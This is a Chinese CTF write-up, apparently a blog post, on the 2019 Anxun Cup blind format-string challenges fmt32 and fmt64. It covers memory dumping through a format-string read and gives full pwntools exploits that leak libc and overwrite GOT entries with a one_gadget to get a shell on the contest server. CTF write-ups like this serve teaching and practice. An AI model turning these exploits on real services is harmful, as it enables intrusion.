【Pwn】2019安洵杯线上赛 fmt32 && fmt64

[BUUCTF]PWN——axb_2019_fmt64(64位格式化字符串改got表) axb_2019_fmt64 附件 步骤: 例行检查,64位程序,只开启了nx保护 本地运行看一下,可以一直输入 64位ida打开 跟axb_2019_fmt32差不多,所以还是再次利用格式化字符串漏洞通过%n来写入数据 利用过程 首先找一下偏移,偏移为8 找到偏移后我们就可以泄露libc,计算system和bin/sh了 一开始打算跟fmt32一样来泄露libcpayload = p64(puts_got)+"%08$s",失败了,动调发现被/x00截断了,64位都有这个情况,关于64位格式 阅读详情

出题人好像比较喜欢blind pwn,5道pwn题里有3个,由于时间关系来不及看rop64了(我太菜)。

1.fmt32

只给了ip&port,没有附件猜测是blind pwn,根据题目名字,猜想有格式化字符串漏洞,试了一下发现是一个循环(毕竟是复读机),每次都可以利用格式化字符串漏洞,于是首先想法是先将内存dump下来再分析,如果32位程序没开pie保护,程序首地址为0x8048000。

def leak(addr):
    payload = "%10$s.TMP" + p32(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret

start_addr = 0x8048000
#leak(0x8048000)
text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x8048b00:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_bin', 'wb') as f:
    f.write(text_seg)

代码段差不多到0x8048b00就结束了,跑完之后放到ida中,找到代码段,下面应该是main函数,根据远程服务器的返回以及流程猜测对应函数吧。

seg000:08048605                 push    ebp
seg000:08048606                 mov     ebp, esp
seg000:08048608                 push    ecx
seg000:08048609                 sub     esp, 244h
seg000:0804860F                 mov     eax, large gs:14h
seg000:08048615                 mov     [ebp-0Ch], eax
seg000:08048618                 xor     eax, eax
seg000:0804861A                 mov     eax, ds:804A064h
seg000:0804861F                 sub     esp, 8
seg000:08048622                 push    0
seg000:08048624                 push    eax
seg000:08048625                 call    sub_8048450
seg000:0804862A                 add     esp, 10h
seg000:0804862D                 mov     eax, ds:804A060h
seg000:08048632                 sub     esp, 8
seg000:08048635                 push    0
seg000:08048637                 push    eax
seg000:08048638                 call    sub_8048450
seg000:0804863D                 add     esp, 10h
seg000:08048640                 mov     eax, ds:804A040h
seg000:08048645                 sub     esp, 8
seg000:08048648                 push    0
seg000:0804864A                 push    eax
seg000:0804864B                 call    sub_8048450
seg000:08048650                 add     esp, 10h
seg000:08048653                 sub     esp, 0Ch
seg000:08048656                 push    80487E0h
seg000:0804865B                 call    sub_8048490
seg000:08048660                 add     esp, 10h
seg000:08048663                 sub     esp, 0Ch
seg000:08048666                 push    804885Ch
seg000:0804866B                 call    sub_8048490
seg000:08048670                 add     esp, 10h
seg000:08048673                 mov     dword ptr [ebp-240h], 0
seg000:0804867D
seg000:0804867D loc_804867D: 							;循环
seg000:0804867D                 sub     esp, 0Ch
seg000:08048680                 push    3
seg000:08048682                 call    sub_8048480      ;目测alarm
seg000:08048687                 add     esp, 10h
seg000:0804868A                 sub     esp, 4
seg000:0804868D                 push    101h
seg000:08048692                 push    0
seg000:08048694                 lea     eax, [ebp-239h]
seg000:0804869A                 push    eax                        
seg000:0804869B                 call    sub_80484D0      ;目测memset
seg000:080486A0                 add     esp, 10h
seg000:080486A3                 sub     esp, 4
seg000:080486A6                 push    12Ch
seg000:080486AB                 push    0
seg000:080486AD                 lea     eax, [ebp-138h]
seg000:080486B3                 push    eax
seg000:080486B4                 call    sub_80484D0       ;memset,初始化的两个缓冲区     
seg000:080486B9                 add     esp, 10h
seg000:080486BC                 sub     esp, 0Ch
seg000:080486BF                 push    804887Dh          ;这里push的地址,是数据段的字符串,应该是要打印东西了,猜测是puts函数。
seg000:080486C4                 call    sub_8048470
seg000:080486C9                 add     esp, 10h
seg000:080486CC                 sub     esp, 4
seg000:080486CF                 push    100h
seg000:080486D4                 lea     eax, [ebp-239h]
seg000:080486DA                 push    eax
seg000:080486DB                 push    0
seg000:080486DD                 call    sub_8048460    ;这里看入栈参数应该是read
seg000:080486E2                 add     esp, 10h
seg000:080486E5                 sub     esp, 4
seg000:080486E8                 lea     eax, [ebp-239h]
seg000:080486EE                 push    eax
seg000:080486EF                 push    804888Dh
seg000:080486F4                 lea     eax, [ebp-138h]
seg000:080486FA                 push    eax
seg000:080486FB                 call    sub_80484E0   ;这边两个缓冲区都作为参数,并且有格式化字符,猜测是sprintf
seg000:08048700                 add     esp, 10h
seg000:08048703                 sub     esp, 0Ch
seg000:08048706                 lea     eax, [ebp-138h]
seg000:0804870C                 push    eax
seg000:0804870D                 call    sub_80484B0  ;下面将eax和10eh进行比较,猜测这个是strlen
seg000:08048712                 add     esp, 10h
seg000:08048715                 mov     [ebp-240h], eax
seg000:0804871B                 cmp     dword ptr [ebp-240h], 10Eh
seg000:08048725                 jbe     short loc_8048741
seg000:08048727                 sub     esp, 0Ch     ;这边是输入的字符串超了限制。
seg000:0804872A                 push    804889Ch
seg000:0804872F                 call    sub_8048470
seg000:08048734                 add     esp, 10h
seg000:08048737                 sub     esp, 0Ch
seg000:0804873A                 push    0
seg000:0804873C                 call    sub_80484A0  ;exit(0)
seg000:08048741
seg000:08048741 loc_8048741:                            ; CODE XREF: seg000:08048725j
seg000:08048741                 sub     esp, 0Ch
seg000:08048744                 lea     eax, [ebp-138h]
seg000:0804874A                 push    eax
seg000:0804874B                 call    sub_8048470  ;puts
seg000:08048750                 add     esp, 10h
seg000:08048753                 jmp     loc_804867D   ;下一个循环

程序逻辑搞清之后,跟入sprint函数,进入到dump下来的plt表里。
在这里插入图片描述那么所有的要素就已经齐了,sprint_plt=0x80484e0;sprint_got=0x804a030。先读libc,再进行got_hijack就可以了。下面是完整的exp。

from pwn import *

io=remote('47.108.135.45','20075')

def leak(addr):
    payload = "%10$s.TMP" + p32(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret

'''
start_addr = 0x8048000
leak(0x8048000)

text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x8048b00:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_bin', 'wb') as fout:
    fout.write(text_seg)
'''

puts_got=0x804a014
sprint_got=0x804a030

payload = "%10$s.TMP" + p32(sprint_got)
io.sendline(payload)
io.recvuntil('Repeater:')
sprint_add=u32(io.recv(4))
print(hex(sprint_add))

libc_base=sprint_add-0x049080
print(hex(libc_base))
one_gadget=libc_base+0x3a80c
a=one_gadget%0x10000&0xffff
print(hex(a))
b=(one_gadget/0x10000)%0x10000&0xffff
print(hex(b))
pause()
payload = '%' + str(a-9) + 'c' +'%16$hn'
payload += '%' + str(b - a) + 'c' +'%17$hn'
payload = payload.ljust(33, 'A')+p32(puts_got)+p32(puts_got+2)
io.sendline(payload)
io.interactive()

2.fmt64

这个题同样也是格式化字符串漏洞的盲pwn,和上题的区别是64位的程序,这题我也尝试了dump代码段,64位程序,程序首地址为0x400000,于是dump到0x400b00,虽然内存成功dump下来了,但是放到ida反汇编失败了,原因未知(我太菜了),由于当时比赛快结束了(最后5分钟做完交上的),所以就想程序逻辑应该大概和32位类似,还是要想办法知道got表的未知,题目同时还提供了一个附件。

$ readelf -s stilltest

Symbol table '.dynsym' contains 15 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.2.5 (2)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.2.5 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.2.5 (2)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memset@GLIBC_2.2.5 (2)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND alarm@GLIBC_2.2.5 (2)
     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.2.5 (2)
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
     9: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND sprintf@GLIBC_2.2.5 (2)
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND exit@GLIBC_2.2.5 (2)
    12: 0000000000601080     8 OBJECT  GLOBAL DEFAULT   26 stdout@GLIBC_2.2.5 (2)
    13: 0000000000601090     8 OBJECT  GLOBAL DEFAULT   26 stdin@GLIBC_2.2.5 (2)
    14: 00000000006010a0     8 OBJECT  GLOBAL DEFAULT   26 stderr@GLIBC_2.2.5 (2)

可以发现提供了输入输出的位置,这几个一般是在bss段上的,由于bss段就在got表附近,于是想把这一块位置都dump下来。

def leak(addr):
    payload = "%9$s.TMP" + p64(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret
 
start_addr = 0x601000  
text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x6010a0:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_got', 'wb') as f:
    f.write(text_seg)
0000000000601000  0000000000600E28 00007F6231568168 
0000000000601010  00007F6231358EE0 00007F6230FE6690 
0000000000601020  00007F6231002720 00007F6230FED6B0 
0000000000601030  00007F6230FCC800 00007F62310E9970 
0000000000601040  00007F6231043200 00007F623106E250 
0000000000601050  00007F6230F97740 00007F6230FCC940 
0000000000601060  0000000000400706 0000000000000000 
0000000000601070  0000000000000000 0000000000000000 
0000000000601080  00007F623133C620 0000000000000000 
0000000000601090  00007F623133B8E0 0000000000000000 
00000000006010A0      7F623133C540                  

很明显是got表了,经过反复测试(利用格式化字符串修改got表,会导致该函数坏掉,根据服务坏掉的位置猜测函数对应)最终确定0x601048这个函数对应的是read函数(大胆猜测,小心求证),尝试得到libc基址,然后随便覆盖个下次会执行到的函数,就可以getshell了,完整exp如下。

from pwn import *
import binascii

io=remote('47.108.135.45','20075')
libc=ELF('./libc-2.23.so')

def leak(addr):
    payload = "%9$s.TMP" + p64(addr)
    io.sendline(payload)
    print "leaking:", hex(addr)
    io.recvuntil('Repeater:')
    resp = io.recvuntil(".TMP")
    ret = resp[:-4:]
    print ret, len(ret)
    remain = io.recvrepeat(0.2)
    return ret
#leak(0x400000)
print('puts:'+hex(libc.sym['puts']))
print('strlen:'+hex(libc.sym['strlen']))
print('printf:'+hex(libc.sym['printf']))
print('read:'+hex(libc.sym['read']))
print('memset:'+hex(libc.sym['memset']))
print('setbuf:'+hex(libc.sym['setbuf']))
print('alarm:'+hex(libc.sym['alarm']))

#start_addr = 0x601000
#leak(0x06010a0)
'''
text_seg = ''
try:
    while True:
        ret = leak(start_addr)
        text_seg += ret
        start_addr += len(ret)
        if start_addr>=0x6010a0:
            break
        if len(ret) == 0:
            start_addr += 1
            text_seg += '\x00'
except Exception as e:
    print e

print '[+]', len(text_seg)
with open('dump_got', 'wb') as fout:
    fout.write(text_seg)

'''
read_got=0x601048
payload = "%9$s.TMP" + p64(read_got)
io.sendline(payload)
io.recvuntil('Repeater:')
read_add=u64(io.recv(6).ljust(8,'\x00'))
print(hex(read_add))


libc_base=read_add-0x0f7250
print(hex(libc_base))
one_gadget=libc_base+0xf1147
print(hex(one_gadget))

a=one_gadget%0x10000&0xffff
print(hex(a))
b=(one_gadget/0x10000)%0x10000&0xffff
print(hex(b))
pause()
payload = '%' + str(a-9) + 'c' +'%12$hn'
payload += '%' + str(b - a) + 'c' +'%13$hn'
payload = payload.ljust(32, 'A')+p64(0x601058)+p64(0x601058+2)
io.sendline(payload)
'''
io.recvuntil('QQQ')
edit=u64(io.recv(6).ljust(8,'\x00'))
print(hex(edit))
#io.sendline('/bin/sh\x00')
'''
#io.sendline('AAAAAAAA'+'%8$p')
io.interactive()

3.总结

blind pwn最早好像是出现在Lctf上的,还是挺有意思的,毕竟在真实环境下不一定能获得远程服务的二进制代码,做这类题目想办法利用程序的任意地址读(缓冲区溢出漏洞,格式化字符串漏洞)来进行信息泄露,比较重要的信息就是,代码段(理解解程序逻辑),plt段,以及got表了,知道了信息之后就正常利用就行了。有些部分可能需要大胆猜测以及经验,推理逻辑可能没有那么完整(也可能是我太菜了),最后这个安洵杯,时间对一个人做的还是感觉有些短了(Pwn都没看完)。

[BUUCTF]PWN——inndy_echo2(PIE+64位fmt) inndy_echo2 附件 步骤 例行检查,64位程序,开启了nx和pie 本地试运行一下,看看大概的情况,猜测跟echo差不多。 64位ida载入,跟32位echo一样的代码,只是多开了一个PIE 64位的格式化字符串漏洞,它跟32位有挺大区别的,要注意‘00’的截断,不可以像32位那样一步修改到位,它一次只可修改2字节。不清楚的先看这篇文章 首先对于PIE,我们要先想办法泄露程序基址 在执行echo函数时,echo的栈帧的上一个元素存储了函数的返回地址,返回到main中,所以栈中必定有返回地址 阅读详情

相关推荐

Python连接高斯数据库踩坑实录:从SASL报错到SSL安全连接的完整指南

本文详细记录了Python连接高斯数据库时遇到的SASL authentication报错及其解决方法。通过剖析SASL认证机制,对比了修改数据库配置、使用官方驱动等方案的利弊,并重点提供了通过自动化脚本生成SSL证书,实现安全、免密连接的完整指南,帮助开发者彻底解决连接难题。

weixin_28340315的博客 438

格式化字符串类盲pwn的dump方法

有一类题目,不会给任何文件,只给一个ip和端口,这种称为blind pwn(盲pwn),如果这类pwn存在格式化字符串漏洞的话,可以通过一些手法拿到整个二进制程序,这对我们的逆向分析和解题是十分重要的,举个例子: 在2022年的Insomni’hack teaser比赛上,有一道题CovidLe$s,就是一道盲pwn,输入什么就回显什么,但是存在格式化字符串漏洞,并且应该是栈上的,通过不断的尝试是可以大致猜测出栈结构的: 从偏移12开始是栈上的缓冲区,29那里是canary,31是返回地址,根据后三位可以

weixin_46483787的博客 875

将雷达连接到树莓派的串口

dev/ttyAMA0 是树莓派的主要 UART(用于 GPIO 引脚 8 (TXD) 和 10 (RXD))。通常,树莓派使用 GPIO 引脚 8 (TXD) 和 10 (RXD) 进行串口通信。树莓派上通常有两个串口:/dev/ttyS0 和 /dev/ttyAMA0。你需要确认雷达的 TX 和 RX 引脚,并与树莓派的对应引脚连接。VCC(电源)连接到树莓派的 3.3V 或 5V(根据雷达的要求)MR(Receive)连接到树莓派的 GPIO 8 (TXD)GND(地)连接到树莓派的 GND。

qq_45943628的博客 1465

攻防世界PWN之stackoverflow(栈溢出盲打)题解

Stackoverflow 这题,没有提供给我们二进制文件,仅仅有一个可交互的地址。由题意也可以知道,它存在栈溢出。这是一个栈溢出盲打的题目。 首先,就是确定栈溢出的长度 我们发现,当我们输入23个整数后,就发生了溢出报错,同时,我们也知道了,这个程序开启了canary机制,这正好被我们利用起来判断栈溢出的长度。 接下来,就是泄露栈数据了,主要依靠功能3,它会把数组里的数据相邻的去重后...

seaaseesa的博客 2598

CentOS7 编译升级GCC至9.3.0

1)下载GCC9.2.0源码并解压 从GCC官方FTP下载地址可以看到GCC最新版本为9.3.0。由于官网下载速度慢,实际上用清华大学的镜像站进行下载,代码如下: wget -c /opt/tmp/ https://mirrors.tuna.tsinghua.edu.cn/gnu/gcc/gcc-9.3.0/gcc-9.3.0.tar.gz #考虑到安装失败的可能性,创建一个临时文件夹来安装GCC...

haha123486的博客 1万+

智能汽车域控制器FOTA升级方案探讨

上文提到的Entry属性,包括Active 属性, Bootable 属性, Successful 属性, Retrycnt 属性 ,Active 属性用于标志槽的优先级,bootloader优先选择Active 属性=1的槽启动,Bootable 属性标志槽可否可启动,Successful 属性标志槽是否成功启动过,Retrycnt 属性标志槽可尝试启动的次数。芯片启动后,首先进入Bootloader阶段,此阶段将读取存储系统的分区属性,根据属性值进行逻辑判断,并确定进入哪个分区,详见流程图。

huibian1234的博客 1570

axb-2019-fmt64

格式化字符串,讲点不一样的 64位格式化字符串学习 题目来自2019安洵杯。 这个漏洞原理很简单,就是简单的格式化字符串漏洞,泄露和劫持got表。但是64位呢,和32位有一点点不一样的地方,在这里强调和学习记录一下 直接把我坑傻了顺便学习一下libcsearcher的用法 [*] '/home/l/Desktop/AD/axb_2019_fmt64' Arch: amd64-64-little RELRO: Partial RELRO Stack: No cana

Stella_Leo的博客 903

微信删除的聊天记录怎么恢复(2024年最新攻略合集)

随着微信对我们生活中方方面面的渗透,微信已然从一款简单的社交软件过渡成为现时代的一种生活方式,而微信中的聊天记录就是我们和朋友之间历程的最好证明。对此,今天我们来聊聊微信删除的聊天记录怎么恢复的问题。

m0_70960708的博客 945

Pwn·fmt学习笔记

pwn的blind fmt

qq_22607673的博客 1367

【ITS模型】基于MATLAB的ITS宽带短波信道模型的建模和仿真

1.软件版本 MATLAB2010b 2.本算法理论知识 对短波信道建模具有里程碑意义的是沃特森在1970年发表的一篇文章,文章中提出了一种静态模型,并在大气中进行了实验验证。 此静态模型可以描述为高斯散射增益抽头延迟线模型,即Watterson模型。 Watterson信道模型是经典的窄带短波信道模型,在这个模型中,信道衰落是瑞利幅度分布,而在每种传播模式中多普勒扩展的功率谱满足高斯分布。Watterson模型没有定义延时扩展的形状,认为各个多径传输模式中不存在延时扩展。其...

FPGA/MATLAB学习教程/源码/项目合作开发 2757

低代码部署与管理——OpenClaw智能助手的应用部署与运维(2026技术版)

OpenClaw智能助手的低代码部署与管理平台采用分层架构设计,包含部署工具、环境管理、版本控制等核心模块,支持从开发到生产的全流程自动化部署。该系统通过Docker、Kubernetes等技术实现应用构建和部署,利用Terraform等工具管理多环境配置,并提供完善的监控运维能力。平台针对开发、测试、预生产和生产环境提供差异化配置,确保部署效率和运行可靠性。这种架构设计遵循自动化、可扩展性和安全性原则,显著提升了智能助手应用的部署效率和运维质量。

一键难忘的博客 318

[安洵杯 2019]easy_web详解

靶场:https://www.nssctf.cn/problem/732。

weixin_61995249的博客 1233

云计算 | 期末梳理(上)

2024云计算回忆版 && 复盘向梳理

知识库搭建ing 2231

[BUUCTF-pwn]——axb_2019_fmt64

[BUUCTF-pwn]——axb_2019_fmt64 题目地址:(https://buuoj.cn/challenges#axb_2019_fmt64)[https://buuoj.cn/challenges#axb_2019_fmt64] 这是一道格式化字符串漏洞利用的题目 checksec 一看,竟然连canary都没开,不过开不开好像都木有什么用。 在IDA中看看,可以看出明显的字符串漏洞 首先当然是计算偏移了,发送aaaa%4$x, 比较习惯发送这个hhhh。发现距离栈顶是3,还有五个寄

Y_peak的博客 573

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

buuctf DSACTF7月pwn 栈迁移 ret对齐 修改bss的内容 lea esp, [ecx-4] 64位格式化字符串修改got

文章目录actf_2019_babystack actf_2019_babystack 栈迁移,注意ret对齐 没对齐的: 对齐的: exp: from pwn import * from LibcSearcher import * local_file = './ACTF_2019_babystack' local_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so' remote_libc = '/root/glibc-all-in-o

carol2358的博客 1808

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

64位格式化字符串漏洞pwn入门

CTF竞赛权威指南PWN篇第166页参考程序 如下程序有格式化字符串漏洞,原文是编译成32位程序,为了增加难度,我编译成64位程序。以下我通过漏洞实现输入arg4的地址获取arg4的内容即ABCD。 //fmtdemo.c -o #include<stdio.h> void main() { char format[128]; int arg1 =1,arg2=0x88888882,arg3=-1; char arg4[10]="ABCD"; scanf("%s

z2876563的博客 2261

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

BUUCTF pwn wp 126 - 130

gyctf_2020_document ciscn_2019_final_5 roarctf_2019_realloc_magic houseoforange_hitcon_2016 SWPUCTF_2019_login

fa1c4的blog 1892

CTF Blind pwn题型学习笔记

Blind pwn概述如何辨别漏洞类型逻辑漏洞盲打格式化字符串盲打原理阐述例题讲解axb_2019_fmt32栈溢出盲打堆盲打总结 概述   所谓Blind pwn,即是在无法获得二进制程序文件的情况下对题目进行漏洞利用。这篇博客主要是将见到过的盲打pwn题做一个总结,大概可以分为以下几类盲打pwn题:逻辑漏洞盲打、格式化字符串盲打、栈溢出盲打、堆盲打。 如何辨别漏洞类型   对于盲打题,首先第一步应该是判断属于哪种类型的盲打,判断的步骤也很简单,nc连上后,直接看程序提供的菜单功能。   一般来说,需要逻

lifanxin的博客 2797

buuctf pwn(wustctf2020_closed)(hitcontraining_magicheap)(axb_2019_fmt32)

程序有alarm闹钟函数,并且有明显的格式化字符串漏洞,而且能无限利用格式化字符串漏洞,本来想用我之前的那种解法直接解决的,但是遇到了些问题(下面说),而且这个题目got表可写,所以还是老老实实打got表吧。2.编辑堆块,根据bss段里的指针,来找到相应的堆块,然后输入大小,再填充内容,并未检测原本输入堆块内容的大小,那么此处存在堆溢出。再通过读入,覆盖dest的指针为free的got表地址,然后strcpy将free的got表地址的地址覆盖为shllcode的地址。

cainiao78777的博客 476

ISCTF_pwn_ez_fmt

先查保护机制!该有的保护都有了第一次格式化漏洞,第二次read栈溢出考虑用printf格式化漏洞泄露信息,栈溢出攻击win函数是后门(刚开始做没去仔细看代码,导致没看到这个,开始写的还用libc里的system构造shell,相当于要多泄露一次libc地址)由于有后门,只需要泄露pie地址和canary即可我们先本地调试看看,尝试泄露pie在开gdb里面输入可以看到第三个参数偏移为0x11BA91(libc)第25个参数偏移为0x135B (pie)

Shawyvian的博客 49

【pwn】2021 极客大挑战(部分)

【pwn】2021 极客大挑战(部分) 1、pwn777 0x1 怎么说呢,这题就是硬用fmt写rop链。 不过也是第一次见到这种fmt,也算是见了新题型了。 0x2 我们打开IDA进行逆向分析 就俩主要函数,我就当第一关和第二关吧 先进入game函数,发现可以通过buf覆盖seed的后32位,srand这个函数的参数是int型,所以我们这里可以通过buf覆盖seed,然后导入ctypes库,使用题目给的libc进行获取随机数,重复10次就可以了。 0x3 第二关就有点自由了,这种自由就是看你怎么想到

woodwhale的博客 3868

BUUCTF PWN 51-55 wp

查看伪代码:我们需要把n3设置为4869,同时需要控制位于bss段上的magic大于0x1305;

2503_93690490的博客 416

BUUCTF pwn wp 81 - 85

wdb_2018_2nd_easyfmt int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char buf[100]; // [esp+8h] [ebp-70h] BYREF unsigned int v4; // [esp+6Ch] [ebp-Ch] v4 = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0);

fa1c4的blog 3131

fmt漏洞

格式化字符串漏洞 格式化字符串漏洞的成因在于像printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad),偷懒写成了:printf(pad),此时就存在格式化字符串漏洞。scanf的格式化字符串漏洞,利用%n$s来实现栈上任意写 在pwn题中遇到格式化字符串漏洞时,我们一般会分两大步实现漏洞利用:第一步构造一个payload来寻找输入字符串到栈顶指针的偏移;

2401_86644999的博客 718

pwn学习之ret2libc

title: pwn学习之ret2libc date: 2020-01-29 18:07:07 tags: pwn学习 在家无聊了的第二天,继续学习pwn的知识 ​ 今天看了看wiki-ret2libc的内容,觉得受益匪浅。 原理 ​ ret2libc说白了就是让我们之前的ret不往shellcode或者vul上跳 而是跳到了某个函数的plt或者got的位置 从而实现控制程序的函数去执行li...

weixin_43800829的博客 1531

CTF PWN实战:格式化字符串漏洞原理、利用与自动化攻防

格式化字符串漏洞是二进制安全领域中的一种经典内存破坏漏洞,其核心原理源于C语言格式化输出函数(如printf、sprintf)对用户输入缺乏严格校验,错误地将用户可控数据直接作为格式字符串解析。攻击者可通过精心构造的格式符(如%p、%x、%s、%n)实现内存布局探测、敏感信息泄露乃至任意内存读写,从而绕过ASLR等现代防护机制,最终劫持程序执行流。在CTF竞赛与实战攻防中,该漏洞常被用于泄露关键地址、覆盖GOT表项或函数指针,结合pwntools等自动化工具可高效构建利用链。本文以一道典型CTF赛题为例,深

weixin_30629653的博客 344
上一篇: 【Pwn】NCTF2019 easy_heap
下一篇: 【Pwn】2019安洵杯线上赛 Heap
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值